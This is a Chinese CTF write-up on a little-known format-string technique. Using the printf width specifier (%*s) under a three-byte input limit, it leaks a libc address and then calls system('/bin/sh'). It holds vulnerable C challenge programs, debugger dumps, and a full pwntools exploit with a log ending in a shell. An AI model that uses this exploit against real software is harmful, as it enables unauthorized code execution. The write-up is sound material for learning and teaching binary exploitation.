前言 我们通常在pwn中遇到的栈上的格式化字符串类型,通常需要我们去寻找偏移去进行任意地址读或者任意地址写,然后使用工具fmtstr_payload快速钩爪格式化字符串,或者手搓payload进行got表改写等操作,但如果遇到限制字节等条件,往往只有手搓payload一条思路
基础 我们首先要对基本的格式化字符串利用有所熟悉
格式化字符串基本格式如下
1 %[parameter] [flag] [field width] [.precision] [length] type
中括号中的属性是可选的,不需要一定都写上,比如%08x,他就只用到了其中的一部分。下面举几个比较重要的属性讲一下:
parameter
n$,获取格式化字符串中的指定参数
flag
field width
输出的最小宽度
precision
输出的最大长度
length,输出的长度
hh,输出一个字节
h,输出一个双字节
type
d/i,有符号整数
u,无符号整数
x/X,16 进制 unsigned int 。x 使用小写字母;X 使用大写字母。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
o,8 进制 unsigned int 。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
s,如果没有用 l 标志,输出 null 结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了 l 标志,则对应函数参数指向 wchar_t 型的数组,输出时把每个宽字符转化为多字节字符,相当于调用 wcrtomb 函数。
c,如果没有用 l 标志,把 int 参数转为 unsigned char 型输出;如果用了 l 标志,把 wint_t 参数转为包含两个元素的 wchart_t 数组,其中第一个元素包含要输出的字符,第二个元素为 null 宽字符。
p, void * 型,输出对应变量的值。printf(“%p”,a) 用地址的格式打印变量 a 的值,printf(“%p”, &a) 打印变量 a 所在的地址。
n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
%, ‘%’字面值,不接受任何 flags, width。
利用手段 我们通常在遇到诸如printf等一系列函数所造成的格式化字符串漏洞时,往往都是
1 printf(buf)或printf(&buf)
而我们常常忽视这里的filed width和precision,由此这种利用也不太为人所熟知
这里笔者贴下一个简单利用的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 #include <stdio.h> #include <unistd.h> #include <stdlib.h> void one_printf () { char buf[4 ]; if (scanf ("%3s" , buf) <= 0 ) exit (1 ); printf ("Here: " ); printf (buf); } void one_call () { void (*ptr)(const char *); if (scanf ("%p" , &ptr) <= 0 ) exit (1 ); ptr("/bin/sh" ); } int main () { int choice; setvbuf(stdin , 0 , 2 , 0 ); setvbuf(stdout , 0 , 2 , 0 ); while (1 ) { puts ("1. printf" ); puts ("2. call" ); if (scanf ("%d" , &choice) <= 0 ) break ; switch (choice) { case 1 : do_printf(); break ; case 2 : do_call(); break ; default : puts ("Invalid choice!" ); exit (1 ); } } return 0 ; }
这里我们发现当我们输入1进行printf时,我们只有三字节的输入限制,而我们要如何恰好利用这三字节,去达到一个泄露任意堆/栈高地址内容呢,这里就需要用到我们之前所忽视的width了,我们先看定义
Width 字段指定要输出的最小字符数,通常用于填充表格输出中的固定宽度字段,否则字段会更小,尽管它不会导致超大字段的截断。
宽度字段可以省略,也可以省略数字整数值,或者作为另一个参数传递时由星号 * 表示的动态值。例如,将导致打印 ‘ 10’,总宽度为 5 个字符。printf("%*d", 5, 10)
假如一个格式化参数是”% * d “,*代表第二个参数,控制输出的宽度,这个参数在调用约定中 所使用的寄存器是rsi,通常rsi是有内容的,比如栈上某一个地址,这个时候,输出字符串的宽度就会很大,会填满缓冲区,这里用到了对于_IO_padn这个函数对.vfprintf的一些跳转和定义,而在这里,填满缓冲区之后,你再输入%s,就会输出栈上的内容,进而能够让我们去泄露libc,从而进行后续ROP链的构造,而这里三字节的限制甚至能够直接让我们去getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 pwndbg> tele 40 00:0000│ rsp 0x7fffda68ecc8 —▸ 0x7fc1de49cb9f (_IO_file_underflow+383) ◂— test rax, rax 01:0008│ 0x7fffda68ecd0 —▸ 0x7fc1de5f54a0 (_IO_file_jumps) ◂— 0x0 02:0010│ 0x7fffda68ecd8 ◂— 0x3 03:0018│ 0x7fffda68ece0 ◂— 0x1 04:0020│ 0x7fffda68ece8 —▸ 0x7fc1de5f8980 (_IO_2_1_stdin_) ◂— 0xfbad208b 05:0028│ 0x7fffda68ecf0 —▸ 0x7fc1de5f54a0 (_IO_file_jumps) ◂— 0x0 06:0030│ 0x7fffda68ecf8 —▸ 0x7fc1de5f94a0 (_nl_global_locale) —▸ 0x7fc1de5f56c0 (_nl_C_LC_CTYPE) —▸ 0x7fc1de5c1fd9 (_nl_C_name) ◂— 0x636d656d5f5f0043 /* 'C' */ 07:0038│ 0x7fffda68ed00 —▸ 0x7fc1de5f8980 (_IO_2_1_stdin_) ◂— 0xfbad208b 08:0040│ 0x7fffda68ed08 ◂— 0x1 09:0048│ 0x7fffda68ed10 ◂— 0xffffffffffffff80 0a:0050│ 0x7fffda68ed18 —▸ 0x7fc1de49df86 (_IO_default_uflow+54) ◂— cmp eax, -1 0b:0058│ 0x7fffda68ed20 ◂— 0xa /* '\n' */ 0c:0060│ 0x7fffda68ed28 ◂— 0x0 0d:0068│ 0x7fffda68ed30 —▸ 0x7fffda68f450 —▸ 0x7fffda68f550 ◂— 0x0 0e:0070│ 0x7fffda68ed38 —▸ 0x7fc1de470280 (__vfscanf_internal+2176) ◂— cmp eax, -1 0f:0078│ 0x7fffda68ed40 ◂— 0x2020202020202020 (' ') 10:0080│ 0x7fffda68ed48 ◂— 0x1 11:0088│ 0x7fffda68ed50 —▸ 0x7fc1de5c1e39 (dot) ◂— 0x747300445750002e /* '.' */ 12:0090│ 0x7fffda68ed58 ◂— 0x2020202020202020 (' ') 13:0098│ 0x7fffda68ed60 —▸ 0x7fffda68f440 ◂— 0x0 14:00a0│ 0x7fffda68ed68 ◂— 0x1 15:00a8│ 0x7fffda68ed70 —▸ 0x7fc1de5c1e39 (dot) ◂— 0x747300445750002e /* '.' */ 16:00b0│ 0x7fffda68ed78 ◂— 0x2020202020202020 (' ') 17:00b8│ 0x7fffda68ed80 —▸ 0x7fffda68f460 ◂— 0x3000000008 18:00c0│ 0x7fffda68ed88 ◂— 0x0 19:00c8│ 0x7fffda68ed90 ◂— 0x0 1a:00d0│ 0x7fffda68ed98 —▸ 0x7fffda68efe0 —▸ 0x7fffda68f000 ◂— 0x31 /* '1' */ 1b:00d8│ 0x7fffda68eda0 ◂— 0x0 1c:00e0│ 0x7fffda68eda8 ◂— 0x0 1d:00e8│ 0x7fffda68edb0 ◂— 0x2 1e:00f0│ 0x7fffda68edb8 —▸ 0x7fffda68f000 ◂— 0x31 /* '1' */ 1f:00f8│ 0x7fffda68edc0 —▸ 0x7fc1de5f56c0 (_nl_C_LC_CTYPE) —▸ 0x7fc1de5c1fd9 (_nl_C_name) ◂— 0x636d656d5f5f0043 /* 'C' */ 20:0100│ 0x7fffda68edc8 ◂— 0x0 21:0108│ 0x7fffda68edd0 ◂— 0x0 22:0110│ 0x7fffda68edd8 ◂— 0x100000000 23:0118│ 0x7fffda68ede0 ◂— 0x2020202000000000 24:0120│ 0x7fffda68ede8 ◂— 0x2020202000000000 25:0128│ 0x7fffda68edf0 —▸ 0x7fc1de5f94a0 (_nl_global_locale) —▸ 0x7fc1de5f56c0 (_nl_C_LC_CTYPE) —▸ 0x7fc1de5c1fd9 (_nl_C_name) ◂— 0x636d656d5f5f0043 /* 'C' */ 26:0130│ 0x7fffda68edf8 ◂— 0x0 27:0138│ 0x7fffda68ee00 ◂— 0xffffffff00000000
这里我们可以看到在我们使用了%s去泄露出libc时,这里对战结构输出的是stdin的地址
+0x0030 [IO_2_1_stdin_]
+0x0038 [__vfscanf_internal+2176]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 ─────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────── RAX 0xfffffffffffffe00 RBX 0x7fc1de5f8980 (_IO_2_1_stdin_) ◂— 0xfbad208b RCX 0x7fc1de51a1f2 (read+18) ◂— cmp rax, -0x1000 /* 'H=' */ RDX 0x1 RDI 0x0 RSI 0x7fc1de5f8a03 (_IO_2_1_stdin_+131) ◂— 0x5fa7f0000000000a /* '\n' */ R8 0x0 R9 0x1e1e R10 0x40202c ◂— 0x6c61766e49006425 /* '%d' */ R11 0x246 R12 0x7fc1de5f96a0 (_IO_2_1_stdout_) ◂— 0xfbad2887 R13 0x7fc1de5f48a0 (_IO_helper_jumps) ◂— 0x0 R14 0xd68 R15 0x7fc1de5f5608 ◂— 0x0 RBP 0x7fc1de5f54a0 (_IO_file_jumps) ◂— 0x0 RSP 0x7fffda68ecc8 —▸ 0x7fc1de49cb9f (_IO_file_underflow+383) ◂— test rax, rax RIP 0x7fc1de51a1f2 (read+18) ◂— cmp rax, -0x1000 /* 'H=' */ ──────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────── ► 0x7fc1de51a1f2 <read+18> cmp rax, -0x1000 0x7fc1de51a1f8 <read+24> ja read+112 <read+112> ↓ 0x7fc1de51a250 <read+112> mov rdx, qword ptr [rip + 0xddc19] 0x7fc1de51a257 <read+119> neg eax 0x7fc1de51a259 <read+121> mov dword ptr fs:[rdx], eax 0x7fc1de51a25c <read+124> mov rax, 0xffffffffffffffff 0x7fc1de51a263 <read+131> ret 0x7fc1de51a264 <read+132> mov rdx, qword ptr [rip + 0xddc05] 0x7fc1de51a26b <read+139> neg eax 0x7fc1de51a26d <read+141> mov dword ptr fs:[rdx], eax 0x7fc1de51a270 <read+144> mov rax, 0xffffffffffffffff ───────────────────────────────────[ STACK ]──────────────────────────────────── 00:0000│ rsp 0x7fffda68ecc8 —▸ 0x7fc1de49cb9f (_IO_file_underflow+383) ◂— test rax, rax 01:0008│ 0x7fffda68ecd0 —▸ 0x7fc1de5f54a0 (_IO_file_jumps) ◂— 0x0 02:0010│ 0x7fffda68ecd8 ◂— 0x3 03:0018│ 0x7fffda68ece0 ◂— 0x1 04:0020│ 0x7fffda68ece8 —▸ 0x7fc1de5f8980 (_IO_2_1_stdin_) ◂— 0xfbad208b 05:0028│ 0x7fffda68ecf0 —▸ 0x7fc1de5f54a0 (_IO_file_jumps) ◂— 0x0 06:0030│ 0x7fffda68ecf8 —▸ 0x7fc1de5f94a0 (_nl_global_locale) —▸ 0x7fc1de5f56c0 (_nl_C_LC_CTYPE) —▸ 0x7fc1de5c1fd9 (_nl_C_name) ◂— 0x636d656d5f5f0043 /* 'C' */ 07:0038│ 0x7fffda68ed00 —▸ 0x7fc1de5f8980 (_IO_2_1_stdin_) ◂— 0xfbad208b ─────────────────────────────────[ BACKTRACE ]────────────────────────────────── ► 0 0x7fc1de51a1f2 read+18 1 0x7fc1de49cb9f _IO_file_underflow+383 2 0x7fc1de49df86 _IO_default_uflow+54 3 0x7fc1de470280 __vfscanf_internal+2176 4 0x7fc1de46f162 __isoc99_scanf+178 5 0x4012c7 main+120 6 0x7fc1de430083 __libc_start_main+243 ────────────────────────────────────────────────────────────────────────────────
此时跳转到stdin我们就可以去接收libc从而getshell
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import *import ctypescontext(arch='amd64' , os='linux' , log_level='debug' ) file_name = './chal' li = lambda x : print ('\x1b[01;38;5;214m' +str (x) + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + str (x) + '\x1b[0m' ) r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) def get_addr () : return u64(r.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) r.sendlineafter(b'call' , b'1' ) r.sendline('%*s' ) r.sendlineafter(b'call' , b'1' ) r.sendline('%s' ) libc_base = get_addr() - 0x1ec980 li("libc->" +hex (libc_base)) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) dbg() r.sendlineafter(b'call' , b'2' ) r.sendline(str (hex (libc_base + libc.sym['system' ]))) r.interactive()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 [DEBUG] Received 0xfff bytes: b' ' * 0xfff [DEBUG] Received 0xfff bytes: b' ' * 0xfff [DEBUG] Received 0x4d9 bytes: b' 1. printf\n' b'2. call\n' [DEBUG] Sent 0x2 bytes: b'1\n' exp.py:30: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes r.sendline('%s') [DEBUG] Sent 0x3 bytes: b'%s\n' [DEBUG] Received 0xfff bytes: b'Here: Here: ' [DEBUG] Received 0xe37 bytes: 00000000 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │ * 00000e10 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 80 │ │ │ │ ·│ 00000e20 89 5f de c1 7f 31 2e 20 70 72 69 6e 74 66 0a 32 │·_··│·1. │prin│tf·2│ 00000e30 2e 20 63 61 6c 6c 0a │. ca│ll·│ 00000e37 libc->0x7fc1de40c000 [*] '/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] running in new terminal: ['/usr/bin/gdb', '-q', './chal', '11739'] [DEBUG] Created script for new terminal: #!/usr/bin/python3 import os os.execve('/usr/bin/gdb', ['/usr/bin/gdb', '-q', './chal', '11739'], os.environ) [DEBUG] Launching a new terminal: ['/usr/bin/x-terminal-emulator', '-e', '/tmp/tmpy7k3gpcp'] [-] Waiting for debugger: debugger exited! (maybe check /proc/sys/kernel/yama/ptrace_scope) [DEBUG] Sent 0x2 bytes: b'2\n' exp.py:38: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes r.sendline(str(hex(libc_base + libc.sym['system']))) [DEBUG] Sent 0xf bytes: b'0x7fc1de45e290\n' [*] Switching to interactive mode $
其他利用姿势 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> FILE *fp; char *buffer;uint64_t i = 0x8d9e7e558877 ;_Noreturn main () { uint64_t *p; p = &p; setbuf(stdin , 0 ); buffer = (char *)malloc (0x20 + 1 ); fp = fopen("/dev/null" , "wb" ); fgets(buffer, 0x1f , stdin ); if (i != 0x8d9e7e558877 ) { _exit(1337 ); } else { i = 1337 ; fprintf (fp, buffer); _exit(1 ); } }
或者我们也可以去通过ogg和libc去getshell,也是同样的利用width去获取到栈上的地址,从而去进行覆盖,详细的可以去看文末的参考文章
缺陷 这种方法本质上还是利用的printf对于参数利用的不规范从而导致的,虽然这种填充缓冲区来泄露栈上地址的方法很简洁,甚至只需要一次fmt就可以getshell,但缺乏普适性,缺点也很明显,输出字符的数量时一个libc地址,就比如一个0x123的地址,拿这种利用就会去尝试输出0x123个字符,从而去尝试泄露,但我们实际遇到的情况时一个libc地址,它往往很大,比如0x7fc1de40c000,而上文三字节每次只能输出0xfff个字节,就会导致有类似爆破的过程,会非常的慢,在实际比赛中,可能远程环境都掉了,脚本还没打通的情况,这里也是给出参考
总结 本文探讨了对于格式化字符串的一种新利用,可能会在某些有限制的题目中作为非预期解。